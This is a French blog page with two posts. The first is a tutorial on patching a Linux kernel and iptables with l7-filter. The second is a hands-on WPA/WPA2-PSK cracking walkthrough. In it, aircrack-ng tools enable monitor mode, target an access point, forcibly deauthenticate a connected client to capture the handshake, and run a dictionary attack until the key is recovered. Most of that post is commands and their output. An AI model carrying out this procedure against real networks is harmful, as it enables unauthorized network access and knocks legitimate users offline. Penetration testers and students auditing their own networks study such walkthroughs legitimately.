    Bon notre noyau est pret à etre modifier

    On télécharge le patch L7-filter

    http://sourceforge.net/project/showfile … p_id=80085

    Layer 7 Patches

    wget http://umn.dl.sourceforge.net/sourceforge/l7-filter/netfilter-layer7-v2.2.tar.gz

    Telecharge le patch

    On telecharge les sources d’iptables

    wget http://netfilter.org/projects/iptables/files/iptables-1.3.5.tar.bz2

    on extrait les deux archives

    tar -xzvf netfilter-layer7-v2.2.tar.gz && tar -xjvf iptables-1.3.5.tar.bz2

    ensuite copy le patch pour le noyau et pour iptables

    cp netfilter-layer7-v2.2/kernel-2.6.13-2.6.16-layer7-2.2.patch linux && cp netfilter-layer7-v2.2/iptables-layer7-2.2.patch iptables-1.3.5

    on applique le patch au noyau

    cd linux
    patch -p1 < kernel-2.6.13-2.6.16-layer7-2.2.patch
    cd ..

    on patch également les sources d’iptables

    cd iptables-1.3.5
    patch -p1 < iptables-layer7-2.2.patch

    ensuite on install le iptables patché dans les sources du noyau make KERNEL_DIR=/usr/src/linux

    make install KERNEL_DIR=/usr/src/linux

    Voila il nous reste plus qu’a activer ces modules pour la compilation du noyau

    cd ../linux
    make menuconfig

    maintenant il reste a activer les modules suivant comme l’indique la doc l7-filter

    * EXPERIMENTAL (Code maturity level options & Prompt for development and/or incomplete code/drivers)
    * Netfilter (Device Drivers &Networking support & Networking Options & Network packet filtering)
    * Connection tracking (Network packet filtering & IP: Netfilter Configuration & Connection tracking)
    * « Connection tracking flow accounting » and « IP tables support » (on the same screen)
    * And finally, « Layer 7 match support »
    * Optional: Lots of other Netfilter options, ntably « FTP support » and other matches. If you don’t know what you’re doing, go ahead and enable all of them.

    sauvegarder le tout et installer comme le spécifie la doc apt-get install cramfsprogs initrd-tools il nous reste a concevoir les packages .deb attention cela peut etre long selon la puissance de votre machine

    « fakeroot make-kpkg append-to-version=.181004 kernel_image initrd binary »

    maintenant que la compilation a été effectuer avec succes il faut l’installer

    cd ..

    dpkg -i kernel-image-2.6.15.181004_10.00.Custom_i386.deb

    Voila qui est fait il nous reste a rebooter sur le noyau et a installer les protocoles générique de l7-filter

    Un fois redémarrez telecharger les protocoles

    wget http://superb-west.dl.sourceforge.net/sourceforge/l7-filter/l7-protocols-2006-05-29.tar.gz

    on décompresse

    tar -xzvf l7-protocols-2006-05-29.tar.gz

    et on l’install

    cd l7-protocols-2006-05-29
    make install

    Voila c’est terminer vous pouvez utiliser l7-filter en modules d’iptables

    pour la syntax c’est basique

    iptables specify table & chain -m layer7 –l7proto name of protocol -j action

    par exemple

    iptables -I INPUT -m layer7 –l7proto http -j drop

    redirigeras tout les paquets http en entrer vers /dev/null

    Enjoy :p

    Archives Posts

    WPA1 / WPA2 PSK / Cracking

    juillet 19th, 2007 by Corbier

    Dans un premier temps, il faut installer aircrack-ng.

    Nous allons passer la carte wifi en mode monitor c’est a dire (la carte écoute tous les paquets wireless même ceux qui ne lui sont pas destiné.)

    Pour cela nous utilisons airmon-ng

    fluxdeb:~# airmon-ng

    usage: airmon-ng <start|stop> <interface> [channel]

    Interface Chipset Driver

    wifi0 Atheros madwifi-ng

    wifi1 Atheros madwifi-ng

    1) Passage en mode Monitor

    fluxdeb:~# airmon-ng start wifi1

    usage: airmon-ng <start|stop> <interface> [channel]

    Interface Chipset Driver

    wifi0 Atheros madwifi-ng

    wifi1 Atheros madwifi-ng

    ath0 Atheros madwifi-ng VAP (parent: wifi1) (monitor mode enabled)

    Lors du passage en mode Monitor airmon crée un interface virtuel ath0. J’utiliserai ath0 pour la suite du cracking.

    2) Découverte des réseaux.

    La commande airodump-ng permet de « sniffer » le réseaux afin de découvrir les réseaux wifi disponible.

    L’utilisation sans argument permet l’écoute sur tout les canaux et de tout les SSID.

    Notez qu’il est possible d’utiliser deux interfaces pour sniffer doublant ainsi la rapidité d’obtention de packet.

    airodump-ng <options> <interface>[,<interface>,...]

    CH 10 ][ Elapsed: 16 s ][ 2007-05-10 15:24

    BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:16:46:C6:2D:B1 31 28 0 0 13 54. WEP WEP XXXXX 00:16:46:C6:2D:B0 32 27 7 0 13 54. WPA2 CCMP PSK XXXXX

    BSSID STATION PWR Lost Packets Probes

    Voici donc nos deux réseaux, le réseaux que je vais cracker est 00:16:46:C6:2D:B0

    On peut voir qu'il envoie sur le channel 13. Je vais donc demander a airodump-ng d'ecouter exclusivement notre réseau.


    airodump-ng -c 13 -b 00:16:46:C6:2D:B0 -w psk ath0

    -c : channel a écouter

    -b : mac adress de l'ap

    -w : fichier ou l'on sauvegarde les IVs

    ath0 : interface

    J'obtiens donc ceci

    CH 13 ][ Elapsed: 4 s ][ 2007-05-10 15:32

    BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

    00:16:46:C6:2D:B0 33 58 71 115 3 13 54. WPA2 CCMP PSK XXXXXX

    BSSID STATION PWR Lost Packets Probes

    00:16:46:C6:2D:B0 00:0C:F1:04:77:D2 43 0 79

    Ce qui est important ici ce sont les stations connectés au point d'accès

    Il y a en a 1 qui est associé. (00:16:46:C6:2D:B0)

    3) Création de traffic.

    Afin d'accélérer la récolte d'information, je vais forcer le client authentifié à générer du traffic en le déassociant du point d'accès. Pour ce faire il faut utiliser aireplay-ng.


    aireplay-ng -0 1 -a 00:16:46:C6:2D:B0 -c 00:0C:F1:04:77:D2 ath0

    -0 : type d'attaque ( déassotiation )

    1 : nombre de déassotiation à envoyer

    -a : mac de l'ap

    -c : mac du client authentifié


    15:46:14 Sending DeAuth to station -- STMAC: [00:0C:F1:04:77:D2]

    Ce résultat creé donc du traffic ce qui vas augmenter nos chances de cracker la psk.

    4) Cracking de la PSK

    Afin de cracker la psk aircrack utilise une attaque par dictionnaire.


    aircrack-ng -w dico /home/corbier/psk-0*.cap

    -w : dictionnaire

    /home/corbier.psk-0*.cap : fichier contenant les IVs

    Read 78425 packets.

    # BSSID ESSID Encryption

    1 00:16:46:C6:2D:B0 XXXXXX WPA (1 handshake)

    Index number of target network ? 1

    Aircrack-ng 0.6.2

    [00:00:00] 56 keys tested (83.64 k/s)

    KEY FOUND! [ ??????????? ]

    Master Key : 31 96 83 02 6E 0D A7 0B 7C 42 95 E2 13 50 FE 31

    1A 25 44 5E C4 6D C5 74 54 B7 1F 37 7F C6 E4 65

    Transcient Key : F4 B4 54 7E 5E 1A 49 F4 2F 0E 1B CA 25 C1 22 09

    B7 F6 E1 6F 2A 00 B9 F5 31 5D 7D A6 97 9B D1 7B

    7C 67 3C 15 FF C1 5B D4 7B 0A D4 18 A1 3C EA C6

    F8 7B A2 8C 9E 7F FA D4 C4 92 AF 06 4C 47 06 9A

    EAPOL HMAC : FF 23 6C A2 A6 10 FF E0 A9 53 E0 2E 1F 61 44 BB

    Et voila

    Filed under Linux, Securité, wifi having No Comments »